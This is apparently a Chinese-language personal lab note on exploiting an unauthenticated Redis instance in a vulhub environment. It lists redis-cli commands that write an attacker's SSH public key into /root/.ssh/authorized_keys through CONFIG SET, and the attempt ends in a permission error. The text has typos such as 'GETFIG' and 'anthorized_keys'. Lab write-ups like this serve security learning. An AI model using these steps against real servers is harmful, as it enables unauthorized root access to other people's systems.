1.搭建環境,這里使用的是vulhub現有環境
第一步:端口掃描,因為redis默認情況下會綁定在0.0.0.0:6379,如果沒有采取相關的安全措施,redis服務暴露在公網會導致未授權訪問和其他更糟糕情況的發生
已知靶機ip地址為192.168.3.250
2.用本地已經搭建好的環境去訪問
命令 ./redis-cli -h 目標ip
3.發現存在未授權訪問,接下來嘗試看能不能getshell呢?
通過學習大佬寫的東西,發現getshell有如下方式
方式一:
首先在自己的kali中生成key
命令:ssh-keygen -t rsa
命令解釋:為了使的linux兩台機器互相ssh不需要賬密 ,加密方式可以選擇rsa或者dsa
具體可參考這大佬的闡述 大佬文章地址:https://blog.csdn.net/wh_19910525/article/details/7433164
接下來開始實踐操作
4.查看本地保存公私鑰,並導入文件
命令:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
命令解釋:/n換行
5.將自己的key輸入到目標靶機
命令:cat 1.txt | ./redis-cli -h 目標靶機IP -x set xxxxxxx
6.連接目標redis並查看備份文件路徑信息
查看備份文件路徑信息命令:GETFIG GET dir
7.講redis備份文件名改為/root/.ssh,因為一般默認會將key存放在此目錄下,同事修改剛剛上傳的1.txt文件名為anthorized_keys
命令:config set dir /root/.ssh
命令:CONFIG SET dbfilename authorized_keys
很不幸權限不夠,如果是root權限,直接修改后 ssh -i id_rsa root@目標ip即可ssh連接靶機
8那就想辦法吧,今天先到這里